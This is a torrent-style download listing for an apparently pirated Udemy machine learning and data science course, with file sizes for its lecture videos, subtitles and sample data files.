[FreeCourseSite.com] Udemy - Complete Machine Learning and Data Science Zero to Mastery

mp4   Hot：699   Size：19.12 GB   Created：2020-02-16 20:11:57   Update：2021-12-12 17:48:46  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 5. Data Science Environment Setup/8. Windows Environment Setup 2.mp4 227.6 MB
    9. Scikit-learn Creating Machine Learning Models/7. Typical scikit-learn Workflow.mp4 190.18 MB
    9. Scikit-learn Creating Machine Learning Models/8. Optional Debugging Warnings In Jupyter.mp4 176.13 MB
    16. Career Advice + Extra Bits/9. CWD Git + Github.mp4 176.12 MB
    9. Scikit-learn Creating Machine Learning Models/38. Tuning Hyperparameters.mp4 175.53 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/32. Training Your Deep Neural Network.mp4 166.6 MB
    16. Career Advice + Extra Bits/3. What If I Don't Have Enough Experience.mp4 160.94 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/7. Feature Engineering.mp4 159.14 MB
    9. Scikit-learn Creating Machine Learning Models/44. Putting It All Together.mp4 158.35 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/34. Make And Transform Predictons.mp4 154.98 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/21. Turning Data Into Batches 2.mp4 149.38 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/8. Turning Data Into Numbers.mp4 146.17 MB
    5. Data Science Environment Setup/5. Mac Environment Setup.mp4 144.39 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/37. Visualizing And Evaluate Model Predictions 2.mp4 143.78 MB
    9. Scikit-learn Creating Machine Learning Models/14. Choosing The Right Model For Your Data.mp4 143.26 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/19. Feature Importance.mp4 142.3 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/41. Making Predictions On Test Images.mp4 140.83 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/40. Training Model On Full Dataset.mp4 139.82 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/17. Preproccessing Our Data.mp4 139.3 MB
    11. Milestone Project 1 Supervised Learning (Classification)/9. Finding Patterns 3.mp4 137.86 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/5. Exploring Our Data.mp4 137.81 MB
    9. Scikit-learn Creating Machine Learning Models/13. Getting Your Data Ready Handling Missing Values With Scikit-learn.mp4 136.89 MB
    9. Scikit-learn Creating Machine Learning Models/11. Getting Your Data Ready Convert Data To Numbers.mp4 135.02 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/15. Preparing The Images.mp4 133.89 MB
    16. Career Advice + Extra Bits/11. Contributing To Open Source.mp4 130.25 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/35. Transform Predictions To Text.mp4 129.87 MB
    11. Milestone Project 1 Supervised Learning (Classification)/20. Finding The Most Important Features.mp4 127.49 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/39. Saving And Loading A Trained Model.mp4 126.98 MB
    5. Data Science Environment Setup/6. Mac Environment Setup 2.mp4 125.46 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/18. Customizing Your Plots 2.mp4 123.6 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/22. Visualizing Our Data.mp4 121.99 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/25. Building A Deep Learning Model.mp4 121.85 MB
    9. Scikit-learn Creating Machine Learning Models/40. Tuning Hyperparameters 3.mp4 121.76 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/42. Submitting Model to Kaggle.mp4 121.34 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/16. Plotting from Pandas DataFrames 7.mp4 119.75 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/36. Visualizing Model Predictions.mp4 119.31 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/43. Making Predictions On Our Images.mp4 119.24 MB
    9. Scikit-learn Creating Machine Learning Models/18. Choosing The Right Model For Your Data 3 (Classification).mp4 118.84 MB
    16. Career Advice + Extra Bits/10. CWD Git + Github 2.mp4 118.35 MB
    9. Scikit-learn Creating Machine Learning Models/45. Putting It All Together 2.mp4 116.85 MB
    9. Scikit-learn Creating Machine Learning Models/39. Tuning Hyperparameters 2.mp4 116.77 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/9. Importing TensorFlow 2.mp4 116.76 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/14. Loading Our Data Labels.mp4 114.82 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/38. Visualizing And Evaluate Model Predictions 3.mp4 113.21 MB
    16. Career Advice + Extra Bits/12. Contributing To Open Source 2.mp4 113.04 MB
    11. Milestone Project 1 Supervised Learning (Classification)/14. Tuning Hyperparameters.mp4 108 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/16. Turning Data Labels Into Numbers.mp4 107.46 MB
    6. Pandas Data Analysis/8. Selecting and Viewing Data with Pandas Part 2.mp4 106.5 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/9. Filling Missing Numerical Values.mp4 106.34 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/27. Building A Deep Learning Model 3.mp4 105.92 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/26. Building A Deep Learning Model 2.mp4 105.9 MB
    11. Milestone Project 1 Supervised Learning (Classification)/4. Step 1~4 Framework Setup.mp4 105.5 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/19. Preprocess Images 2.mp4 105.07 MB
    6. Pandas Data Analysis/9. Manipulating Data.mp4 104.99 MB
    9. Scikit-learn Creating Machine Learning Models/12. Getting Your Data Ready Handling Missing Values With Pandas.mp4 104.84 MB
    17. Learn Python/1. What Is A Programming Language.mp4 104.77 MB
    11. Milestone Project 1 Supervised Learning (Classification)/15. Tuning Hyperparameters 2.mp4 104.12 MB
    5. Data Science Environment Setup/11. Jupyter Notebook Walkthrough 2.mp4 103.91 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/13. Custom Evaluation Function.mp4 103.34 MB
    11. Milestone Project 1 Supervised Learning (Classification)/13. TuningImproving Our Model.mp4 102.78 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/2. Deep Learning and Unstructured Data.mp4 102.04 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/3. Project Environment Setup.mp4 101.27 MB
    11. Milestone Project 1 Supervised Learning (Classification)/3. Project Environment Setup.mp4 100.76 MB
    11. Milestone Project 1 Supervised Learning (Classification)/8. Finding Patterns 2.mp4 99.92 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/11. Plotting From Pandas DataFrames 2.mp4 98.8 MB
    11. Milestone Project 1 Supervised Learning (Classification)/11. Choosing The Right Models.mp4 96.42 MB
    9. Scikit-learn Creating Machine Learning Models/24. Evaluating A Machine Learning Model 2 (Cross Validation).mp4 95.97 MB
    6. Pandas Data Analysis/4. Series, Data Frames and CSVs.mp4 95.37 MB
    9. Scikit-learn Creating Machine Learning Models/36. Evaluating A Model With Scikit-learn Functions.mp4 94.82 MB
    17. Learn Python/16. Variables.mp4 93.56 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/14. Reducing Data.mp4 93.47 MB
    17. Learn Python/2. Python Interpreter.mp4 93.47 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/17. Customizing Your Plots.mp4 92.21 MB
    9. Scikit-learn Creating Machine Learning Models/35. Evaluating A Model With Cross Validation and Scoring Parameter.mp4 91.49 MB
    7. NumPy/13. Exercise Nut Butter Store Sales.mp4 91.33 MB
    6. Pandas Data Analysis/11. Manipulating Data 3.mp4 91.02 MB
    9. Scikit-learn Creating Machine Learning Models/37. Improving A Machine Learning Model.mp4 90.93 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/18. Preprocess Images.mp4 90.1 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/13. Optional Reloading Colab Notebook.mp4 88.66 MB
    9. Scikit-learn Creating Machine Learning Models/4. Refresher What Is Machine Learning.mp4 88.27 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/20. Turning Data Into Batches.mp4 87.77 MB
    9. Scikit-learn Creating Machine Learning Models/30. Evaluating A Classification Model 6 (Classification Report).mp4 87.24 MB
    9. Scikit-learn Creating Machine Learning Models/23. Evaluating A Machine Learning Model (Score).mp4 87.13 MB
    9. Scikit-learn Creating Machine Learning Models/15. Choosing The Right Model For Your Data 2 (Regression).mp4 86.92 MB
    6. Pandas Data Analysis/10. Manipulating Data 2.mp4 86.53 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/3. Importing And Using Matplotlib.mp4 86.45 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/28. Building A Deep Learning Model 4.mp4 86.3 MB
    11. Milestone Project 1 Supervised Learning (Classification)/21. Reviewing The Project.mp4 86.14 MB
    7. NumPy/16. Turn Images Into NumPy Arrays.mp4 85.91 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/15. RandomizedSearchCV.mp4 85.83 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/4. Step 1~4 Framework Setup.mp4 85.69 MB
    7. NumPy/12. Dot Product vs Element Wise.mp4 83.93 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/12. Splitting Data.mp4 82.68 MB
    18. Learn Python Part 2/45. Modules in Python.mp4 82.18 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/4. Anatomy Of A Matplotlib Figure.mp4 82.15 MB
    17. Learn Python/5. Python 2 vs Python 3.mp4 82.14 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/15. Plotting from Pandas DataFrames 6.mp4 82.04 MB
    7. NumPy/8. Manipulating Arrays.mp4 80.65 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/11. Using A GPU.mp4 80.59 MB
    13. Data Engineering/9. Optional OLTP Databases.mp4 79.68 MB
    11. Milestone Project 1 Supervised Learning (Classification)/5. Getting Our Tools Ready.mp4 79.36 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/30. Evaluating Our Model.mp4 79.29 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/16. Improving Hyperparameters.mp4 79.29 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/18. Making Predictions.mp4 79.21 MB
    7. NumPy/4. NumPy DataTypes and Attributes.mp4 78.99 MB
    9. Scikit-learn Creating Machine Learning Models/28. Evaluating A Classification Model 4 (Confusion Matrix).mp4 77.72 MB
    1. Introduction/1. Course Outline.mp4 77.26 MB
    6. Pandas Data Analysis/6. Describing Data with Pandas.mp4 75.56 MB
    9. Scikit-learn Creating Machine Learning Models/6. Scikit-learn Cheatsheet.mp4 75.13 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/12. Plotting from Pandas DataFrames 3.mp4 74.71 MB
    18. Learn Python Part 2/2. Conditional Logic.mp4 74.58 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/4. Setting Up Google Colab.mp4 74.24 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/33. Evaluating Performance With TensorBoard.mp4 74.18 MB
    17. Learn Python/10. Numbers.mp4 72.71 MB
    11. Milestone Project 1 Supervised Learning (Classification)/10. Preparing Our Data For Machine Learning.mp4 72.6 MB
    18. Learn Python Part 2/48. Packages in Python.mp4 72.42 MB
    6. Pandas Data Analysis/7. Selecting and Viewing Data with Pandas.mp4 72.35 MB
    11. Milestone Project 1 Supervised Learning (Classification)/17. Evaluating Our Model.mp4 71.6 MB
    5. Data Science Environment Setup/12. Jupyter Notebook Walkthrough 3.mp4 71.42 MB
    7. NumPy/7. Viewing Arrays and Matrices.mp4 70.64 MB
    9. Scikit-learn Creating Machine Learning Models/31. Evaluating A Regression Model 1 (R2 Score).mp4 70.39 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/6. Histograms And Subplots.mp4 69.75 MB
    17. Learn Python/26. Built-In Functions + Methods.mp4 69.39 MB
    7. NumPy/9. Manipulating Arrays 2.mp4 67.9 MB
    18. Learn Python Part 2/36. Pure Functions.mp4 67.36 MB
    5. Data Science Environment Setup/10. Jupyter Notebook Walkthrough.mp4 67.35 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/5. Scatter Plot And Bar Plot.mp4 67.03 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/10. Filling Missing Categorical Values.mp4 66.91 MB
    11. Milestone Project 1 Supervised Learning (Classification)/6. Exploring Our Data.mp4 66.88 MB
    6. Pandas Data Analysis/13. How To Download The Course Assignments.mp4 66.78 MB
    7. NumPy/5. Creating NumPy Arrays.mp4 66.77 MB
    9. Scikit-learn Creating Machine Learning Models/20. Making Predictions With Our Model.mp4 66.5 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/17. Creating Our Own Validation Set.mp4 66.44 MB
    9. Scikit-learn Creating Machine Learning Models/26. Evaluating A Classification Model 2 (ROC Curve).mp4 66.03 MB
    11. Milestone Project 1 Supervised Learning (Classification)/19. Evaluating Our Model 3.mp4 64.84 MB
    17. Learn Python/48. Sets 2.mp4 64.26 MB
    17. Learn Python/3. How To Run Python Code.mp4 63.9 MB
    9. Scikit-learn Creating Machine Learning Models/9. Getting Your Data Ready Splitting Your Data.mp4 63.66 MB
    9. Scikit-learn Creating Machine Learning Models/29. Evaluating A Classification Model 5 (Confusion Matrix).mp4 63.59 MB
    11. Milestone Project 1 Supervised Learning (Classification)/7. Finding Patterns.mp4 63.34 MB
    18. Learn Python Part 2/24. return.mp4 63.04 MB
    11. Milestone Project 1 Supervised Learning (Classification)/16. Tuning Hyperparameters 3.mp4 63.01 MB
    17. Learn Python/34. List Methods.mp4 61.75 MB
    3. Machine Learning and Data Science Framework/4. Types of Machine Learning Problems.mp4 60.5 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/9. Plotting From Pandas DataFrames.mp4 60.35 MB
    17. Learn Python/12. DEVELOPER FUNDAMENTALS I.mp4 59.71 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/14. Plotting from Pandas DataFrames 5.mp4 56.96 MB
    9. Scikit-learn Creating Machine Learning Models/43. Saving And Loading A Model 2.mp4 56.77 MB
    9. Scikit-learn Creating Machine Learning Models/19. Fitting A Model To The Data.mp4 56.56 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/11. Fitting A Machine Learning Model.mp4 55.52 MB
    11. Milestone Project 1 Supervised Learning (Classification)/12. Experimenting With Machine Learning Models.mp4 55.35 MB
    9. Scikit-learn Creating Machine Learning Models/33. Evaluating A Regression Model 3 (MSE).mp4 54.9 MB
    9. Scikit-learn Creating Machine Learning Models/21. predict() vs predict_proba().mp4 54.33 MB
    7. NumPy/11. Reshape and Transpose.mp4 53.53 MB
    18. Learn Python Part 2/41. List Comprehensions.mp4 53.34 MB
    18. Learn Python Part 2/47. Optional PyCharm.mp4 53.06 MB
    9. Scikit-learn Creating Machine Learning Models/42. Saving And Loading A Model.mp4 52.6 MB
    18. Learn Python Part 2/40. reduce().mp4 52.27 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/6. Exploring Our Data 2.mp4 52.04 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/6. Uploading Project Data.mp4 51.98 MB
    7. NumPy/6. NumPy Random Seed.mp4 51.92 MB
    7. NumPy/10. Standard Deviation and Variance.mp4 51.16 MB
    17. Learn Python/30. Exercise Password Checker.mp4 51.09 MB
    9. Scikit-learn Creating Machine Learning Models/27. Evaluating A Classification Model 3 (ROC Curve).mp4 50.61 MB
    17. Learn Python/28. Exercise Type Conversion.mp4 50.34 MB
    18. Learn Python Part 2/19. DEVELOPER FUNDAMENTALS IV.mp4 50.22 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/23. Preparing Our Inputs and Outputs.mp4 50.07 MB
    17. Learn Python/32. List Slicing.mp4 49.86 MB
    18. Learn Python Part 2/18. Our First GUI.mp4 49.63 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/19. Saving And Sharing Your Plots.mp4 49.52 MB
    17. Learn Python/23. Formatted Strings.mp4 49.25 MB
    17. Learn Python/24. String Indexes.mp4 49.15 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/13. Plotting from Pandas DataFrames 4.mp4 49 MB
    18. Learn Python Part 2/21. Functions.mp4 48.6 MB
    18. Learn Python Part 2/49. Different Ways To Import.mp4 47.96 MB
    5. Data Science Environment Setup/7. Windows Environment Setup.mp4 47.92 MB
    17. Learn Python/4. Our First Python Program.mp4 47.2 MB
    18. Learn Python Part 2/8. Exercise Logical Operators.mp4 46.62 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/12. Optional GPU and Google Colab.mp4 45.88 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/29. Summarizing Our Model.mp4 45.44 MB
    9. Scikit-learn Creating Machine Learning Models/22. Making Predictions With Our Model (Regression).mp4 44.91 MB
    3. Machine Learning and Data Science Framework/11. Modelling - Comparison.mp4 44.88 MB
    18. Learn Python Part 2/11. Iterables.mp4 43.2 MB
    18. Learn Python Part 2/29. args and kwargs.mp4 43.02 MB
    18. Learn Python Part 2/4. Truthy vs Falsey.mp4 42.82 MB
    2. Machine Learning 101/3. Exercise Machine Learning Playground.mp4 42.59 MB
    17. Learn Python/44. Dictionary Methods 2.mp4 42.39 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/7. Setting Up Our Data.mp4 42.26 MB
    13. Data Engineering/2. What Is Data.mp4 42.22 MB
    17. Learn Python/11. Math Functions.mp4 41.82 MB
    11. Milestone Project 1 Supervised Learning (Classification)/18. Evaluating Our Model 2.mp4 41.53 MB
    9. Scikit-learn Creating Machine Learning Models/2. Scikit-learn Introduction.mp4 40.63 MB
    17. Learn Python/37. Common List Patterns.mp4 40.46 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/5. Google Colab Workspace.mp4 39.63 MB
    17. Learn Python/7. Learning Python.mp4 38.52 MB
    18. Learn Python Part 2/37. map().mp4 38.38 MB
    18. Learn Python Part 2/23. Default Parameters and Keyword Arguments.mp4 38.14 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/7. Subplots Option 2.mp4 38.09 MB
    18. Learn Python Part 2/32. Scope Rules.mp4 37.68 MB
    17. Learn Python/47. Sets.mp4 36.98 MB
    3. Machine Learning and Data Science Framework/7. Features In Data.mp4 36.78 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/31. Preventing Overfitting.mp4 36.51 MB
    18. Learn Python Part 2/33. global Keyword.mp4 36.5 MB
    18. Learn Python Part 2/42. Set Comprehensions.mp4 35.37 MB
    11. Milestone Project 1 Supervised Learning (Classification)/2. Project Overview.mp4 34.44 MB
    18. Learn Python Part 2/10. For Loops.mp4 34.31 MB
    18. Learn Python Part 2/9. is vs ==.mp4 33.57 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/2. Project Overview.mp4 32.94 MB
    7. NumPy/15. Sorting Arrays.mp4 32.83 MB
    17. Learn Python/40. Dictionaries.mp4 32.7 MB
    13. Data Engineering/7. Types Of Databases.mp4 32.55 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/2. Matplotlib Introduction.mp4 31.51 MB
    9. Scikit-learn Creating Machine Learning Models/25. Evaluating A Classification Model 1 (Accuracy).mp4 31.41 MB
    17. Learn Python/19. Strings.mp4 30.98 MB
    18. Learn Python Part 2/26. Methods vs Functions.mp4 30.69 MB
    5. Data Science Environment Setup/4. Conda Environments.mp4 30.56 MB
    2. Machine Learning 101/4. How Did We Get Here.mp4 30.5 MB
    3. Machine Learning and Data Science Framework/5. Types of Data.mp4 29.32 MB
    17. Learn Python/29. DEVELOPER FUNDAMENTALS II.mp4 29.25 MB
    17. Learn Python/8. Python Data Types.mp4 28.85 MB
    9. Scikit-learn Creating Machine Learning Models/32. Evaluating A Regression Model 2 (MAE).mp4 28.52 MB
    18. Learn Python Part 2/7. Logical Operators.mp4 28.33 MB
    2. Machine Learning 101/1. What Is Machine Learning.mp4 28.33 MB
    18. Learn Python Part 2/13. range().mp4 28.32 MB
    18. Learn Python Part 2/15. While Loops.mp4 28.32 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/10. Optional TensorFlow 2.0 Default Issue.mp4 28.1 MB
    18. Learn Python Part 2/3. Indentation In Python.mp4 28.02 MB
    1. Introduction/4. Your First Day.mp4 27.92 MB
    17. Learn Python/36. List Methods 3.mp4 27.66 MB
    3. Machine Learning and Data Science Framework/8. Modelling - Splitting Data.mp4 27.51 MB
    6. Pandas Data Analysis/3. Pandas Introduction.mp4 27.44 MB
    17. Learn Python/35. List Methods 2.mp4 27.4 MB
    3. Machine Learning and Data Science Framework/13. Tools We Will Use.mp4 27.33 MB
    17. Learn Python/43. Dictionary Methods.mp4 27.16 MB
    7. NumPy/2. NumPy Introduction.mp4 26.84 MB
    17. Learn Python/41. DEVELOPER FUNDAMENTALS III.mp4 26.63 MB
    7. NumPy/14. Comparison Operators.mp4 26.37 MB
    17. Learn Python/6. Exercise How Does Python Work.mp4 25.96 MB
    18. Learn Python Part 2/16. While Loops 2.mp4 25.93 MB
    17. Learn Python/45. Tuples.mp4 25.65 MB
    2. Machine Learning 101/8. What Is Machine Learning Round 2.mp4 25.51 MB
    18. Learn Python Part 2/14. enumerate().mp4 24.8 MB
    13. Data Engineering/5. What Is A Data Engineer 3.mp4 24.29 MB
    13. Data Engineering/4. What Is A Data Engineer 2.mp4 24.23 MB
    18. Learn Python Part 2/38. filter().mp4 23.55 MB
    3. Machine Learning and Data Science Framework/3. 6 Step Machine Learning Framework.mp4 23.46 MB
    3. Machine Learning and Data Science Framework/9. Modelling - Picking the Model.mp4 23.24 MB
    17. Learn Python/22. Escape Sequences.mp4 23.15 MB
    18. Learn Python Part 2/22. Parameters and Arguments.mp4 23.14 MB
    2. Machine Learning 101/6. Types of Machine Learning.mp4 22.75 MB
    18. Learn Python Part 2/17. break, continue, pass.mp4 22.21 MB
    18. Learn Python Part 2/43. Exercise Comprehensions.mp4 21.96 MB
    17. Learn Python/31. Lists.mp4 21.96 MB
    17. Learn Python/15. Optional bin() and complex.mp4 21.9 MB
    18. Learn Python Part 2/30. Exercise Functions.mp4 21.85 MB
    3. Machine Learning and Data Science Framework/12. Experimentation.mp4 21.33 MB
    18. Learn Python Part 2/39. zip().mp4 21.27 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/8. Setting Up Our Data 2.mp4 20.87 MB
    17. Learn Python/25. Immutability.mp4 20.8 MB
    17. Learn Python/42. Dictionary Keys.mp4 20.37 MB
    18. Learn Python Part 2/1. Breaking The Flow.mp4 20.33 MB
    18. Learn Python Part 2/20. Exercise Find Duplicates.mp4 20.25 MB
    18. Learn Python Part 2/31. Scope.mp4 20.15 MB
    18. Learn Python Part 2/5. Ternary Operator.mp4 19.71 MB
    2. Machine Learning 101/2. AIMachine LearningData Science.mp4 19.67 MB
    18. Learn Python Part 2/28. Clean Code.mp4 19.66 MB
    2. Machine Learning 101/5. Exercise YouTube Recommendation Engine.mp4 19.43 MB
    18. Learn Python Part 2/6. Short Circuiting.mp4 19.4 MB
    5. Data Science Environment Setup/2. Introducing Our Tools.mp4 19.29 MB
    13. Data Engineering/13. Kafka and Stream Processing.mp4 19.24 MB
    18. Learn Python Part 2/35. Why Do We Need Scope.mp4 19.18 MB
    17. Learn Python/33. Matrix.mp4 19.15 MB
    17. Learn Python/21. Type Conversion.mp4 18.99 MB
    18. Learn Python Part 2/34. nonlocal Keyword.mp4 18.25 MB
    3. Machine Learning and Data Science Framework/6. Types of Evaluation.mp4 17.75 MB
    18. Learn Python Part 2/27. Docstrings.mp4 17.33 MB
    17. Learn Python/46. Tuples 2.mp4 17 MB
    9. Scikit-learn Creating Machine Learning Models/41. Quick Tip Correlation Analysis.mp4 16.92 MB
    17. Learn Python/27. Booleans.mp4 16.55 MB
    9. Scikit-learn Creating Machine Learning Models/10. Quick Tip Clean, Transform, Reduce.mp4 16.53 MB
    18. Learn Python Part 2/12. Exercise Tricky Counter.mp4 16.39 MB
    3. Machine Learning and Data Science Framework/10. Modelling - Tuning.mp4 15.99 MB
    16. Career Advice + Extra Bits/7. JTS Start With Why.mp4 15.43 MB
    17. Learn Python/18. Augmented Assignment Operator.mp4 15.32 MB
    13. Data Engineering/3. What Is A Data Engineer.mp4 15.16 MB
    13. Data Engineering/6. What Is A Data Engineer 4.mp4 14.93 MB
    17. Learn Python/13. Operator Precedence.mp4 14.43 MB
    17. Learn Python/38. List Unpacking.mp4 13.86 MB
    13. Data Engineering/1. Data Engineering Introduction.mp4 13.5 MB
    3. Machine Learning and Data Science Framework/1. Section Overview.mp4 13.35 MB
    7. NumPy/1. Section Overview.mp4 13.33 MB
    5. Data Science Environment Setup/3. What is Conda.mp4 12.48 MB
    9. Scikit-learn Creating Machine Learning Models/1. Section Overview.mp4 12.46 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/8. Quick Tip Data Visualizations.mp4 12.25 MB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/1. Section Overview.mp4 12.2 MB
    3. Machine Learning and Data Science Framework/2. Introducing Our Framework.mp4 11.38 MB
    16. Career Advice + Extra Bits/6. JTS Learn to Learn.mp4 11.14 MB
    20. Where To Go From Here/2. Thank You.mp4 11.11 MB
    9. Scikit-learn Creating Machine Learning Models/17. Quick Tip How ML Algorithms Work.mp4 11.07 MB
    17. Learn Python/17. Expressions vs Statements.mp4 10.98 MB
    15. UPLOADED BY FEB 14th Storytelling + Communication How To Present Your Projects/1. Section Overview.mp4 10.92 MB
    6. Pandas Data Analysis/1. Section Overview.mp4 10.87 MB
    11. Milestone Project 1 Supervised Learning (Classification)/1. Section Overview.mp4 10.19 MB
    13. Data Engineering/11. Hadoop, HDFS and MapReduce.mp4 10.1 MB
    4. The 2 Paths/1. The 2 Paths.mp4 9.75 MB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/1. Section Overview.mp4 8.95 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/1. Section Overview.mp4 8.6 MB
    17. Learn Python/39. None.mp4 7.93 MB
    17. Learn Python/20. String Concatenation.mp4 7.34 MB
    7. NumPy/16.1 numpy-images.zip.zip 7.27 MB
    5. Data Science Environment Setup/1. Section Overview.mp4 6.03 MB
    13. Data Engineering/12. Apache Spark and Apache Flink.mp4 5.76 MB
    2. Machine Learning 101/9. Section Review.mp4 5.57 MB
    8. Matplotlib + Seaborn Plotting and Data Visualization/4.2 matplotlib-anatomy-of-a-plot-with-code.png.png 654.77 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/4.1 matplotlib-anatomy-of-a-plot.png.png 369.39 KB
    6. Pandas Data Analysis/10.1 pandas-anatomy-of-a-dataframe.png.png 333.24 KB
    6. Pandas Data Analysis/4.1 pandas-anatomy-of-a-dataframe.png.png 333.24 KB
    5. Data Science Environment Setup/3.4 conda-cheatsheet.pdf.pdf 201.29 KB
    9. Scikit-learn Creating Machine Learning Models/7. Typical scikit-learn Workflow.srt 31.71 KB
    5. Data Science Environment Setup/8. Windows Environment Setup 2.srt 31.61 KB
    9. Scikit-learn Creating Machine Learning Models/38. Tuning Hyperparameters.srt 30.54 KB
    6. Pandas Data Analysis/9.1 car-sales-extended-missing-data.csv.csv 30.2 KB
    9. Scikit-learn Creating Machine Learning Models/44. Putting It All Together.srt 26.43 KB
    9. Scikit-learn Creating Machine Learning Models/8. Optional Debugging Warnings In Jupyter.srt 25.51 KB
    5. Data Science Environment Setup/5. Mac Environment Setup.srt 23.93 KB
    9. Scikit-learn Creating Machine Learning Models/13. Getting Your Data Ready Handling Missing Values With Scikit-learn.srt 23.13 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/32. Training Your Deep Neural Network.srt 23.07 KB
    9. Scikit-learn Creating Machine Learning Models/11. Getting Your Data Ready Convert Data To Numbers.srt 22.71 KB
    5. Data Science Environment Setup/11. Jupyter Notebook Walkthrough 2.srt 22.48 KB
    11. Milestone Project 1 Supervised Learning (Classification)/20. Finding The Most Important Features.srt 22.33 KB
    11. Milestone Project 1 Supervised Learning (Classification)/8. Finding Patterns 2.srt 22.32 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/8. Turning Data Into Numbers.srt 22.32 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/7. Feature Engineering.srt 22.13 KB
    9. Scikit-learn Creating Machine Learning Models/14. Choosing The Right Model For Your Data.srt 21.38 KB
    16. Career Advice + Extra Bits/9. CWD Git + Github.srt 21.17 KB
    5. Data Science Environment Setup/6. Mac Environment Setup 2.srt 20.69 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/2. Deep Learning and Unstructured Data.srt 20.2 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/21. Turning Data Into Batches 2.srt 20.15 KB
    16. Career Advice + Extra Bits/3. What If I Don't Have Enough Experience.srt 19.98 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/5. Exploring Our Data.srt 19.97 KB
    7. NumPy/4. NumPy DataTypes and Attributes.srt 19.19 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/34. Make And Transform Predictons.srt 19.18 KB
